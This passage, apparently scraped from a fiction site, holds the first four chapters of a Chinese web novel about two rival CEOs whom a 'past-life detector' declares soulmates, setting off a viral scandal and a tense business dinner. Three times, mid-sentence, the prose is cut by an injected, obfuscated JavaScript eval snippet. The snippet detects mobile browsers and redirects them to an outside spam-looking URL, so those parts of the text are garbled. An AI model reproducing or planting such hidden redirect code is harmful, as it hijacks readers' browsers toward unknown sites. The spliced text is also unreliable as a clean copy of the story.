《我是死对头前世的老婆??》 1. 热搜(1) 中达集团总部,二十八层的多功能会议厅。 几近正午的阳光透过全景落地窗泼洒进来,长条会议桌两侧,人马泾渭分明。 左侧,裴言修靠在椅背里,手中一支银色万宝龙钢笔灵巧地转了个圈。他今天穿了件浅灰色衬衫,袖口随意挽到手肘,没系领带,领口松着两颗扣子。面前的合同草案被翻到中间某页,边缘处用荧光笔标了几处,旁边还散落着几颗薄荷糖。 他的对面坐着一身挺括西装的柏停,后者双腿交叠,正垂眸看着平板电脑上的条款。 会议已经进行过半,两边却谁都没有要让步的意思。这已经是这个月第四次陷入同样的僵局,两位大老板之间毫不掩饰的不对付,早已让会议室的低气压成了常态。双方团队人人噤若寒蝉,心里叫苦不迭。 裴言修和柏停是洛城商界年轻一代里最常被同时提起、却又最不该被放在一起比较的两个名字。 裴家是根基深厚的老牌世家,裴言修二十五岁硕士毕业就顺理成章接手了家族企业,起点高、资源厚,是圈内公认的天之骄子。按理说,同辈中无人能出其右。 可偏偏半路杀出个柏停。 此前洛城商圈根本没听过这个“柏”字。等众人反应过来时,柏停一手创立的环隆,已凭借一连串快准狠的投资并购和手握的关键专利,以惊人的速度崛起,硬生生在几年内跻身顶层,成了能与裴家掰手腕的存在。 白手起家的光环,杀伐决断的名声,让这位空降的掌权者天然带着一层“实力碾压”的滤镜,也让他对裴言修这样顺理成章接手家业的继承人,多少有些看不入眼——在他眼里,这不过是又一个靠祖荫的二代。 而裴言修同样对柏停那套无所不用其极的扩张手段嗤之以鼻。在他看来,这位新贵做事太过不择手段,为达目的惯会踩线,缺乏他一贯讲究的底线与格调。 从拍卖会上争抢同一个拍品,到隔着太平洋竞逐同一个让人眼红的并购标的,再到在公开场合当众阴阳对方,天之骄子与寒门贵子之间那点微妙的较劲,逐渐升级为公开的、人尽皆知的秘密。 到后来甚至升级为,凡柏停看上的项目,裴言修必要去掺和一脚;凡事关裴言修,柏停绝不让步。两人死对头的名号彻底坐实,但凡有他们俩同时出现的场合,那空气里的火星子就噼啪作响,旁观者都得下意识屏住呼吸。 然而商场的诡异之处就在于,敌人有时候也得变成合作对象,老老实实地坐在一间会议室里。比如现在—— 裴言修语气还算平和,表情却是皮笑肉不笑,“把自己的退路划得清清楚楚,把合作方被架在火上烤,利益全归你,风险全归我。这就是环隆的合作态度?” 火药味一触即发,会议室里落针可闻。中达这边的人屏住呼吸,环隆那侧则人人正襟危坐。 柏停放下平板,双手交叠置于桌面,“环隆的分险分摊方式并没有违背行业规则,严格明晰权是对所有股东负责。”他看向裴言修,话语毫不客气,“难道裴总更倾向于事到临头,再靠个人魄力或家世背景去摆平?” “家世背景”几个字传入耳朵里,裴言修的脸色彻底沉了下来。 一场长达两小时的会议开完,补充协议的关键条款依旧卡死。 “柏总这个态度,我们也没什么必要继续谈下去了。今天就到这里。”裴言修率先推开椅子起身,大步往外走。 柏停也同步站起,朝众人微微颔首,算是打过最表面的礼节。两人一前一后走出会议室,中间隔着的距离能再塞进一个人。 在会议室外等候已久的助理白松立刻抱着平板跟上裴言修的脚步。 “boss…”他神色有些怪异,嘴唇动了动,像是急切地要说什么,但瞥了一眼旁边还没走远的柏停和钟颖一行人,最终只得欲言又止。 电梯抵达。裴言修和柏停几乎是同时迈开脚步,谁也没让谁,并肩踏入轿厢。 白松和钟颖紧随其后,默契地各自站到了自家老板侧后方。 电梯门缓缓合上,狭小的空间内,空气安静得落针可闻,比会议室的压抑更甚。 四人各据一角,无人说话。 白松站在裴言修侧后方,指尖无意识地蹭着手机边缘,嘴唇抿了又抿,视线几次飘向自家老板的后背,又迅速瞥一眼对面神情冷峻的柏停和眼观鼻鼻观心的钟颖,最终还是把话咽了回去,只默默调出了手机页面。 电梯下行。 裴言修站在最前方,看着不断跳动的楼层数字,忽然开口,声音在寂静中格外清晰:“想说什么就说。”他没有回头,语气里带着一丝不耐,“吞吞吐吐的做什么。” 白松像是被点了名,肩膀几不可察地一抖。他飞快地又瞄了一眼柏停——后者依旧面无表情,仿佛对电梯里的一切都漠不关心。 犹豫只在瞬息。白松深吸一口气,上前半步,将早已准备好的手机屏幕递到裴言修身侧,声音压得极低,却难掩其中的怪异和急切:“boss……您、您最好立刻看看这个。出事了……上热搜了,爆了。” 裴言修接过手机,目光落到屏幕上。 #前世探测仪裴言修柏停灵魂匹配度99.8%# #旷世绝恋商界双星前世今生# #小说照进现实,双帅哥总裁配对成功# 手机屏幕上,刺眼的标题下,是前世探测仪官v账号发布的最新动态,高调的宣布他们至今为止测出的最高匹配度。长篇微博下面附了一张图,图片正是探测仪的屏幕。隐私信息被码去,只留最中央的几个字: 【柏停&裴言修|灵魂匹配度:99.8%|评级:天命(Destined)】 裴言修盯着那行荒诞至极的标题和刺眼的“爆”字,足足愣了五秒。 然后,他缓缓地、极其缓慢地抬起眼,看向电梯镜面里自己那张瞬间空白又迅速黑沉的脸。 “……” 他觉得自己好像有点不认识中文了。 谁??? 谁和谁??? 他把官v的博文一个字一个字地掰开了揉碎了又读了一遍,“柏停”两个字简直要亮瞎他的眼。 许是感受到自家boss的低气压,身旁的白松眼观鼻鼻观心,大气都不敢喘一口。 他脸色骇人,指尖用力地往下划去。 除了这条官博之外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274627|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,热度最高的帖子是一个id叫“烤黑糖啵啵牛乳茶”的人发的。 相比官方的帖子,这篇帖子简单至极,只有一句话——“啊啊啊啊啊啊啊帅死我了”,下头附了两张照片。 一张是裴言修此前出席某互联网峰会时被媒体抓拍下的正脸照片。彼时他正聆听发言,唇角微扬,勾勒出一抹介于礼貌与随性之间的笑意。镜头捕捉得极好,高清画质下,他脸部流畅的线条、挺拔的鼻梁与一双弯着的桃花眼一览无余。场合正式,他梳了个背头,眼睛却神采飞扬。自然状态下的少年感冲淡了西装的正式,显得清爽又俊逸非凡。 另一张,则似乎是某财经新闻报道的截图。画面中的柏停正侧身看着前方,仅留下一个利落的侧影。相较于裴言修外露的俊朗,他的英俊更显内敛与冷峻。下颚线清晰如刀裁,鼻梁高挺的弧度带着一丝不苟的意味,薄唇微抿,即便在模糊的画质下,其面部轮廓依旧如雕塑般分明深刻,透着一种生人勿近的疏离感和压迫感。 就是这么简单的一条微博,点赞评论转发全都是近七位数。 【小熊软糖:啊啊啊啊啊啊啊啊好帅啊啊啊这是素人能有的颜值吗?新闻镜头都挡不住的美貌啊啊啊啊】 【你算哪个小辣鸡:我不行了我不行了,哥哥鲨我!!!】 【yshsh:楼上,哥哥鲨不了你,人家俩是一对,只能互相鲨】 【信女愿荤素搭配换不卡文:前世的缘分今生还能再续,救命啊啊啊啊这是什么命中注定啊】 【三思而后行:三分钟,三分钟我要知道他俩的全部信息!!来个人告诉我谁1谁0,我要开始磕了!!!】 【拜拜就拜拜:我站酷哥1!!冷脸不当1简直是原罪!!我赌不哄不停!!】 【楚昼是神:楼上笔给你,快写!裴言休,柏停,两个人名字的意思好像都是“别说话了!”太配了啊啊啊啊啊】 【动我cp天打雷劈:首先他叫言修不是言休,但不管,就冲他俩的脸我也先磕为敬!楼上的姐妹没有你我怎么磕的明白!】 【剁椒鱼头不放剁椒:双帅哥总裁旷世绝恋啊啊啊,妥妥的小说照进现实啊!我去建个cp超话,超话名就叫“别说话了”,大家来玩!!】 狂欢的评论一条一条映入眼帘,充斥着裴言修看不懂的文字。 手机屏幕的光幽幽地映亮了他眼底那片山雨欲来的风暴。 “叮——” 门向两侧滑开。 柏停似乎对身后那股濒临爆发的低气压毫无所觉,或者说,漠不关心。他步履平稳,径直就要踏出电梯。 就在他前脚刚刚迈出电梯厢的瞬间—— 身后传来骨节捏的咯吱作响的声音,柏停脚步一顿,微微侧头。 视线先是落在裴言修脸上。 那张总是神采飞扬、锋芒毕露的脸上,此刻表情一片空白,写满了怀疑人生。冷白的皮肤微微反光,透出些与平日气质截然不符的呆滞,以柏停的视角甚至能看到一些翘起的细小绒毛,近乎透明。 柏停的目光下落,滑过对方捏着手机边缘大力到泛白的指尖,落在了裴言修手中那块依旧亮着的屏幕上。 2. 热搜(2) 屏幕上的内容一闪而过,柏停的视线极快地捕捉到了“总裁”、“绝恋”、“99.8%”几个扎眼的关键词,以及几张模糊但略显眼熟的照片。 下一秒,屏幕“啪”地一声被裴言修迅速按灭。狭小的空间里,那声轻响格外清晰。 裴言修抬起头,对上柏停留在他手机上的目光,扯出一个没什么温度的假笑,语气里淬着冰碴:“怎么,柏总什么时候对别人的手机屏幕这么感兴趣了?还是说,环隆已经细致到连合作方的八卦推送都要过目了?” 柏停看了他一眼,而后收回目光,先他一步走出电梯。 在他转过身的一瞬间,身后的裴言修猛地松了一口气。 后者强行遏制住那种头皮发麻的感觉,定了定心神往外走,压低声音对身旁的白松道:“立刻让公关部处理,不管用什么方法,半小时内,我不想再看到任何相关词条挂在上面。联系前世探测仪项目组,问他们凭什么未经允许泄露我个人的匹配信息。” 白松紧跟在他身侧,闻言立刻点头:“公关部那边已经在紧急沟通平台了。至于探测仪项目组……我刚才在会议间隙已经初步联系过,他们的反馈是……”他顿了顿,声音更低了,“您当初签署用户协议时,在‘是否同意将匹配结果用于匿名案例宣传’那一栏,勾选的是‘同意’。他们说这不算泄露隐私,是合规使用。” 裴言修脚步猛地一顿,这才想起有这么一回事。 前世探测仪这个所谓的高科技,自试运行以来,好评无数。在短短半年时间内,将“前世”“轮回”的概念与脑电波关联起来,给封建迷信找到了科学依据,一夜之间火遍全国,席卷各大短视频网站,把概念炒得深入人心。 他前阵子被林雅女士持之以恒的催婚念叨得烦,又正好对这个突然爆火的项目背后营销模式有点兴趣。索性借了这个东风,抱着死马当活马医的心死态联系了这个项目组。 谁能想到会埋下这么个惊天大雷? 还偏偏……居然是和柏停。 一股郁结之气堵在胸口,裴言修的脸色更沉了。他咬了咬牙,从齿缝里挤出声音:“……那就让他们立刻删掉!告诉他们,所谓‘匿名’现在一点也不‘匿名’了,这已经对我造成严重困扰和名誉损害!如果他们不想收律师函,就立刻、马上处理干净!” “是,我马上去办!”白松感受到老板濒临爆发的低气压,立刻应声。 裴言修抬手用力按了按突突直跳的太阳穴,先是一场令人不快的会议,再是一个突如其来的荒诞热搜。果然柏停这个人一旦出现,就是来克他的! 不远处,柏停已经走到了他那辆迈巴赫旁,钟颖正为他拉开车门。他没有立刻上车,而是垂眸看着手机屏幕,指尖似乎在上面滑动了一下。随即,他原本没什么表情的脸上,眉头极轻微地蹙了一下。 虽然只有短短的一瞬间,但那轻微的停顿在裴言修此刻高度敏感的神经上被无限放大。 ——他看到了。 裴言修心里那根弦猛地一紧,几乎是下意识地,脚步已经迈了出去。 就在柏停准备矮身上车的刹那,他似乎若有所感,动作停顿,抬起了头。 两人的目光,隔着几米的距离和稀薄的空气,再次狠狠撞在一起。 裴言修脚下没停,径直走到车边,在钟颖略带错愕的目光中,抬手“砰”一声,将刚刚拉开的车门重新用力关上。金属撞击的闷响在空气里回荡。 “看到热搜了?” 柏停直起身,目光落到他身上,没有否认。他脸上没什么表情,但眼底那丝没完全散去的情绪,泄露了他同样看到了那荒诞的内容。 两人在刺眼的的阳光下对视。 几秒后,柏停极淡地扯了一下嘴角,那弧度几乎不能称之为笑,语气带着惯有的冷感和嘲讽:“看到了又如何?”他顿了顿,目光在裴言修紧绷的脸上扫过,“裴总还想找我再续前缘不成?” “你特么……”裴言修被柏停那副冷嘲热讽的模样激得火起,正待发作,一阵极其突兀、音量大得堪称扰民的手机铃声,骤然在他口袋里炸响—— “我是你爸爸真伟大——养你这么大——” 旋律欢快,歌词嚣张,在裴言修和柏停之间回荡,效果堪比平地惊雷。 裴言修整个人猛地一僵。 他能清晰地看到,对面柏停的眉头几不可察地蹙了一下,随即,那双总是没什么温度的眼睛里,极快地掠过一丝毫不掩饰的……嫌弃和嘲弄。仿佛在说:连手机铃声都这么别致,果然人如其表。 裴言修耳根瞬间有点发烫,这股热意很快转化成更大的恼火。他手忙脚乱地从口袋里掏出手机,迅速切断这专属铃声,看都没看来电显示就直接按了接听,咬牙切齿地压低声音:“林、尤、墨!你他妈最好有十万火急的事!” 电话那头,林尤墨兴奋到变调的声音完全无视了他的怒气,穿透听筒直接轰炸过来:“羞儿!你红了!你爆了!快去看微博热搜!第一条!你和柏停!” 裴言修闭了闭眼,额角青筋直跳:“……我、看、到、了!” “看到了?那你什么感想?是不是觉得柏总那张冷脸都眉清目秀了起来?我跟你说,网友连你俩CP名都起好了,叫‘别说话了’,是不是特贴切?艳福不浅,艳福不浅啊哈哈哈哈……” “你闭嘴!”裴言修忍无可忍,低吼着打断对方的魔音贯耳,只想立刻把这二货的电话挂掉。 就在他被林尤墨吵得脑仁疼、分神应付的这几秒钟里,柏停已经收回了视线,脸上恢复了那副万事不入眼的冷漠。 他没再多看一眼,直接对旁边的钟颖微一示意,便转身,干脆利落地拉开后座车门,坐了进去。 黑色的轿车几乎毫无停顿地启动,平稳而迅捷地驶离,很快消失在转弯处,连引擎声都听不见了。 “喂?喂?羞儿?你怎么不说话?是不是害羞了?别啊,跟兄弟说说嘛……”林尤墨还在电话那头喋喋不休。 裴言修猝不及防被车尾气喷了一脸,听着耳边聒噪的声音,一口气堵在胸口,上不去下不来,狠狠地掐断了电话。 白松的办事效率很高,不到半小时,热搜果然尽数被撤了下去。可这短短半小时发酵出来的热度,已然是超乎想象。 从踏入大门到走向电梯的这段路,他感受到了来自四面八方的目光。正是饭点,员工陆陆续续地往外走,看到他纷纷恭敬地问候“裴总”,眼神却都会在他身上微妙地多停留一瞬,又迅速移开,带着掩饰不住的好奇。 裴言修额角青筋突突直跳,却只能当作不知,随意颔首回应,一只手插在西裤口袋里,步履从容地快速走向专属电梯,径直上顶层。 回到办公室时,手机里的未读消息已经叠到了99+。 他粗略看了一眼,亲戚,朋友,老同学……不用点开都能看出这群人吃瓜的欲望有多强烈。 他没有理会别的消息,径直划到置顶的四人家庭群。 【母上大人:(微博截图)】 【母上大人拍了拍你】 【母上大人:怎么回事啊崽崽?@给朕住嘴】 【皇长兄:卧槽!你把我的热搜都压到热五了弟!】 【皇长兄:妈,还不明白吗?你儿子是gay啊!你有个儿子是gay啊!】 群里短暂地沉默了一会儿,没人接裴思行的抖机灵。但裴思行也不在意,自顾自地又刷了几条: 【皇长兄:我过两天就杀回洛城了,等着你们大儿子亲自去把裴羞羞揪回来!】 【皇长兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274628|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :妈我想吃王姨炖的番茄土豆牛腩了,你跟她说一声呗?】 【皇长兄:小狗绕圈跑.jpg】 再往下滑,话题已经被带偏,变成他们家日常的闲聊和报菜名,光是讨论晚上吃什么就刷了整整一屏。 林雅女士在群里简单应和了两句,看上去没再纠结热搜的事,像是接受了裴思行的插科打诨。 但只有裴言修自己知道,手机屏幕顶端,来自三个不同联系人的未读消息正安静地挂着。 来自裴照先生的简洁问询:【怎么回事?】 来自林雅女士的两条私信,语气依然温和: 【在开会吗崽崽?】 【结束后给我回个电话吧。】 以及在群里闹腾完又忍不住跑来私聊的裴思行:【好嘛裴羞羞,这么多年也没个桃花的,一爆就爆个大的嚯嚯嚯嚯……】 裴言修:“……” 一个头两个大是什么感觉,他现在知道了。他斟酌了一会,最后只点开了群聊,先回了他哥的那一长串菜单: 【猪,再吃下去小心你粉丝全爬墙】 又艾特了林雅女士:【妈咪呀,妈咪呀,别听裴思行的,你最疼爱的小儿子想吃你亲手做的,什么都好】 回完这两条,他按灭手机,任凭山呼海啸都不再理会。 无关紧要的都回了,最关键的一字未提——明晃晃的岔开话题。 群里一时安静下来。 再打开微信已经是下班的时候了,消息量一骑绝尘的除了林尤墨,就是裴思行。 【13:45】 皇长兄:【我去】 【你什么意思?】 【真跟那个柏什么搞到一起了??】 【不会吧?!从前也没见你对哪个男的有兴趣啊】 【我的直男弟弟……我直了二十八年的弟弟……】 【小狗大哭gif.】 【哥哥为你的贞操哀悼啊!!昨天还直挺挺的人儿啊,今天怎么就弯了呢(黄脸哭泣)】 裴思行的消息狂轰滥炸,裴言修直接把手机倒扣在桌上,眼不见为净。 一封新邮件的提示音传来,裴言修怔了怔。这是他的私人邮箱,鲜少有人知道。 裴言修的目光在发件人一栏停顿了片刻。 国家高精尖脑科学研究所? 他动作一顿。 如果他没记错……那个在热搜上搅得天翻地覆的“前世探测仪”项目,背后的核心研发机构,挂的就是这个抬头。 他一目十行地扫过邮件里冠冕堂皇的辞令,轻嗤一声,点了根烟。 若说从前他对这个所谓的“前世探测仪”的科学性还有几分信任,那么在看到自己和柏停那离谱的匹配结果后,这最后的信任也彻底烟消云散了。 什么最尖端科学……纯噱头,纯炒作,纯造谣! 他和柏停……?开什么玩笑。 他俩要是前世真是恋人,那怕不是不死不休的怨侣吧?得是多想不开的月老才敢牵这根红线? 不对,瞎想什么呢。怨侣也没可能啊!! 好歹占个“侣”字。谈恋爱总得亲亲抱抱吧? 脑子里不由自主地浮现出他和柏停从前的数次交锋,他试着脑补了下跟柏停亲近的画面——那张死人脸和淬了毒一样的嘴……跟他接吻拥抱…… 裴言修猛地打了个寒颤,鸡皮疙瘩掉了一地。 他忙不迭抽了口烟缓缓,不得不再次佩服这背后的营销手段——能把概念炒作到这个地步,确实堪称业界典范。 他顺手关了邮件,正好秘书这时候敲门进来:“裴总,这周的行程表已经发您邮箱了。”她顿了顿,略显迟疑地问:“另外,今晚和张总还有……柏总,他们的饭局,您还照常参加吗?” 3. 饭局 “柏总”两个字在舌尖滚了几遍,秘书才下决心开口。她很清楚,刚经历完那场近乎闹剧的热搜风波和会议对峙,此刻提起这个名字,无异于往枪口上撞,简直是在老板本就不佳的心情上火上浇油。 她屏住呼吸,尽量让语气听起来公事公办。好在裴言修一向公私分明。闻言只是稍稍愣了几秒,随即很快点头:“照常。” 这场饭局是一周前就敲定的。张总是中达合作多年的老伙伴,这次看中了环隆旗下一项关键技术专利,想引入自己的生产线,这才特意组了这个局,托裴言修从中牵线。牵线搭桥,维系人脉,本就是圈内常事,更何况是与老客户的交情。这个面子,无论如何都得给。 秘书得到肯定的答案松了口气,随即退了出去。 张总是个行事老派又讲究排场的中年商人。饭局设在臻顶荟,洛城顶级私人会所,以私密和昂贵著称。可以说,洛城上流社会一半的生意都是在这儿谈成的。 裴言修推开包厢门时,张总已经在了,正红光满面地和柏停说着什么,半秃的头顶在柔和的灯光下泛着微光。见他进来,张总立刻热情地起身:“裴总!来来来,就等你了!” 裴言修换上得体的笑容上前握手:“张总客气。有阵子不见,越来越容光焕发了。言修羡慕啊。” 随行的是三秘,刚入职不久。从前没怎么在饭局上跟这位张总接触过。闻言下意识瞥了眼张总蹭亮的头顶,心道确实是容“光”焕“发”。 裴言修敏锐地扫去一记警告的眼神,她立刻收敛神色,恢复专业姿态。 张总浑不在意地摆摆手,笑声爽朗:“这话说的,我这一把年纪哪里比得上你们年轻人。老了,不中用啦!” 寒暄几句,裴言修的目光滑向桌对面——圆桌另一侧,柏停象征性地欠了欠身,朝他颔首:“裴总。” 裴言修唇角一勾,回了个标准的职业微笑:“柏总。” 视线交汇一秒,而后各自分开,一个比一个装的若无其事。 周围知道内情的人眼观鼻鼻观心。若是不知道原委,任谁也猜不到这是一对在几小时前刷爆网络的绯闻情侣。 张总显然就是这个不知道原委的人。人到中年,不太玩微博这种时髦的软件。 他丝毫没察觉到两人之间的怪异氛围,笑呵呵地暖场:“你们年轻人现在不得了啊,后生可畏!来来,都坐都坐!” 裴言修笑容不变,脚步却丝毫没有犹豫地迈向离柏停最远的位置。 侍应生开始流水般地上菜。随着最后一道冷盘摆上桌,包厢侧门轻响,两排打扮精致的年轻男女安静地走了进来,在墙边站定。 裴言修和柏停皆是微微一顿。 张总笑着看向他们,语气热络:“你们年轻人先挑。看看有没有合眼缘的,陪着说说话、倒倒酒,也热闹些。” 久经商场,对于这种场面自然不陌生。这种事和劝酒一样,往往都是最不好拒绝的。好在一般随便挑个人坐旁边装装样子也就过去了,倒不为难。 裴言修目光扫过面前几位穿着清凉热辣的女士,最终停在一个看着还算老实本分的男孩身上,朝他招了招手。 拜探测仪和柏停所赐,他给子的名号估计过两天就要传遍洛城了。不如索性顺水推舟,省得给姑娘们难堪。 张总眼中闪过一丝诧异,随即笑着打趣:“没想到裴总好这口,以前可真是半点没看出来。” 裴言修漫不经心地抬手搭住男孩的肩,吊儿郎当地一笑,还没开口,便听到对面传来一道低沉的声音。 “确实没想到。” 搭在男孩肩膀上的手一顿,裴言修抬眼望去。 平心而论,柏停这句话说的缓慢而平淡,像只是陈述一个事实。可落到裴言修耳朵里,却平添了几分意味不明,像极了嘲讽。配上白天的热搜,更显微妙。 裴言修还是笑着的,目光却肉眼可见地冷了下来,笑意不达眼底地盯着他:“以柏总的情商,想不到那是再正常不过了。” 硝烟味顿时弥漫,张总脸上的笑容差点没挂住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274629|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他当然听说过这两位是出了名的死对头,可生意场上,利益面前哪有永远的敌人?况且外界都传,这两位虽然针尖对麦芒,但跟彼此的合作似乎还是勉强能推进。要不是他跟环隆那边实在搭不上更直接的线,也犯不着硬着头皮请裴言修来牵这个头。 谁能想到,这线还没牵上,火药味先起来了。 张总心里叫苦,面上却不敢显露,只能赶紧把话头往旁边引,试图缓和气氛:“柏总呢?您看看,有没有瞧着合眼缘的?一起说说话,也热闹些。” 柏停没有接张总的话茬,反而端起酒杯,目光平静地望过去:“张总看今天的热搜了吗?” 他似乎并不打算等回答,自顾自地举了举酒杯:“扫了张总的兴,柏某自罚一杯。” 张总一愣。热搜?他茫然地看向助理,助理也是一头雾水地摇头。 虽然没搞懂“热搜”和“拒绝陪酒”之间有什么逻辑关系,但柏停这毫不留情的推拒态度已经摆得明明白白。张总脸色有些不好看,可对方礼数周全,加上终究是自己有求于人,只得强笑着端起杯子:“柏总这是哪里话,太客气了。” 另一边,“热搜”两个字冷不丁钻进裴言修耳朵里,指向性实在太明显。他脸上装出来的的虚假笑意瞬间凝固,猛地抬眼看向柏停。 后者恍若未觉地放下空杯,神色如常,仿佛刚才那句意有所指的话根本不是他说的。 坐在裴言修身侧的三秘表情瞬间变得十分精彩,她飞快地瞄了一眼柏停,又偷偷觑了一眼自家老板那山雨欲来的脸色,赶紧低下头,死死盯着面前的骨碟,恨不得把“我什么都没听见”刻在脑门上。 最摸不着头脑也最尴尬的当属张总。他看着柏停放下空杯,讪讪地笑了笑,试图接上这个没头没脑的话题:“柏总刚才说的热搜是……?” 柏停拿起餐巾,慢条斯理地擦了擦嘴角,抬眸,目光似有若无地扫过裴言修的方向,语气平淡无波: “上辈子的情人在现场,怕他吃醋。” 4. 研究所 “……” 整个包厢霎时陷入一片诡异的死寂。 张总脸上的笑容僵住,CPU被“上辈子的情人”这几个字彻底烧干了。他下意识地,顺着柏停的视线,茫然地看向了裴言修——身边那位面容姣好,挣低头倒茶的女秘书身上。 女孩年轻,相貌清秀,此刻正死死低着头,耳根通红,肩膀一颤一颤的。 电光石火间,一个念头窜入脑海。张总心头重重一跳,自觉窥破了某个不得了的内情,喝了口白的压惊。 柏停居然和裴言修的秘书……? 难怪小裴总脸色难看成这样。墙角被死对头撬了,能不难看吗? 不远处的三秘对张总脑内的惊涛骇浪一无所知。她埋在阴影里的脸正憋得通红,牙齿紧紧咬着下唇内侧的软肉,才勉强没让自己笑出声或者发出奇怪的动静。 脑子里的弹幕正以爆炸般的速度疯狂刷新: 【上辈子的情人!现场!吃醋!】 【柏总居然当众承认了!】 【虽然知道是借口但这也太敢说了吧!】 【BOSS脸好黑但是为什么感觉更好磕了!】 【忍住!专业!专业!】 她拼命深呼吸,试图让因为激动和憋笑而颤抖的肩膀平复下来。这努力压抑情绪的细微动作,落在张总眼里,全成了某种小情人被当众承认身份后,害羞又激动的铁证。 “哎呀!你看我!真是老糊涂了!”张总用力一拍额头,对着柏停露出一个心照不宣、甚至带了点揶揄的笑容,“怪我怪我!安排不妥当!柏总莫怪,是我考虑不周!” “哎,小姑娘别着急,别着急!”张总自以为体贴地摆摆手,转向三秘,笑容越发慈祥,“张伯伯懂的,懂的!今天这儿没外人,不说这个了,不说这个了!” “……啊?”三秘猝不及防被点名,懵了一瞬间。待反应过来张总误会了什么,顿时吓得魂飞魄散,猛地抬起头,拼命摆手:“张、张总!不是!我……” 裴言修手背青筋凸起,看向对面一句话引发一场闹剧的始作俑者,裴言修手背青筋凸起,看向对面一句话引发这场荒诞闹剧的始作俑者,皮笑肉不笑地开口:“柏总这话,真有意思。不如说清楚点,怕谁吃醋?” 柏停目光平静地回视:“字面意思。裴总心思缜密,想必能听懂。何必多想?” 还不必多想??你他么哪句话不是让人往那破热搜上想?! 裴言修胸腔那股火几乎要冲破理智。就在他下一句更尖刻的反击即将脱口而出时—— “哎呀!菜!菜都要凉了!”张总眼见火药味再次飙升,冷汗都快下来了,赶紧提高声音打圆场。他一边说着,一边还不忘迅速在剩下的那排人中点了个身材火辣的女郎,然后急急摆手让其他人退下,“先吃饭,先吃饭!臻顶荟的菜凉了风味就差了!裴总,柏总,给老哥个面子,咱们边吃边聊,啊?” 饭局在张总提心吊胆的周旋下,总算又磕磕绊绊地回到了正轨。话题被生硬地扯回专利授权和可能的合作模式上,张总说得口干舌燥,裴言修和柏停则维持着最低限度的、礼貌而疏离的回应。 坐在裴言修身边的男孩见证了一场极度濒临撕破脸的针锋相对,此刻更是小心翼翼,屏着呼吸,用公筷默默给裴言修布了一次菜,动作轻得像怕惊扰了什么。 裴言修没看他,只淡淡说了句:“自己吃吧,不用管我。” 男孩听了,心里稍稍松了口气,看来这位裴总虽然心情极差,但至少不难伺候。沉默地吃了一会儿,或许是包厢里这古怪的氛围和之前听到的只言片语实在太勾人好奇心,他犹豫再三,还是没忍住,趁着张总正和柏停讨论某项技术授权时长的空档,极小声地、试探地问了一句:“裴总和柏总今天那个热搜……” 裴言修拿着筷子的手顿了一下。他偏过头,看向男孩紧张又好奇的脸,忽然觉得有点荒谬的好笑。连个临时陪坐的都听说了? 他扯了扯嘴角,倒没怪男孩多嘴逾矩,只是有些好笑道:“你看我们俩像吗?” 男孩被他这么一反问,噎住了,张了张嘴,没敢接话,眼神却不由自主地飘向对面气场冷峻的柏停。 半晌没听到男孩的回答,他挑眉偏头望过去,却恰好对上柏停的目光。 柏停应该也没想到他会突然转头,因此目光丝毫没有收敛——那其中的审视被裴言修看得清清楚楚。 两人目光在空中相接,明明都是从容含笑的姿态,却让整个包厢的温度都降了几分。张总在一旁擦着冷汗,只觉得这顿饭吃得折寿。 饭局终在诡异的气氛中散场。 裴言修坐进车里,松了松领带,疲惫地闭上眼。窗外流转的霓虹掠过他英挺的侧脸,今日种种在脑中翻涌——荒唐的热搜,研究所的邮件,还有柏停那张令人火大的脸。 他长吁一口气,吩咐司机:“回家。” 裴言修口中的家是他在江边的一套高层公寓,离中达不远,十来分钟车程。他这两年一直住在那儿,上班方便。 明天是周六。这段时间裴言修忙得脚不沾地,好不容易盼来一个完整的周末,只想彻底放空,在家瘫两天。 他冲了个热水澡,换上柔软的居家服,把自己陷进客厅那张宽大舒适的沙发里。边擦着头发边随手打开投影,打算挑一部轻松的电影,正式开启他的周末。 发梢水珠被擦净,毛巾随手搭在椅背上。茶几上的手机屏幕突然亮起,跳出一个来电显示。 看上去还是座机号。 诈骗都打到他这儿来了? 他没理会,把手机往沙发上一扣,任它自然挂断。 今晚挑的电影是一部喜剧,是国内很出名的一个喜剧团队前两年的一部大热作品。 他哥在里头客串了一个角色,说是照着他演的,三请四催他去看,一口一个“羞羞不看,哥哥心就要碎成八瓣了”。 今晚恰好没事,裴言修打算拼一拼他哥的心。 电影结束的时候,裴言修随手拍了张照给他哥,发了句:【打卡】 裴思行不知道是有多闲,竟然秒回:【呜呜呜我就知道羞羞还是爱哥哥的】 【皇长兄:好看吗好看吗?李应是不是和你很像?】 李应是这部电影里裴思行演的角色的名字。 